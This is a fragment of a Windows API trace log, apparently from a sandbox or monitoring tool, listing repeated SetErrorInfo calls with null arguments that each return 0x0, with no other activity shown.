[0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.828] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.829] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.830] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.832] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.833] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.834] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.835] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.836] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.837] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.838] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.839] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.840] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.841] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.842] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.843] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.844] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.845] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.846] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.847] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.848] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.849] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.850] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.851] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 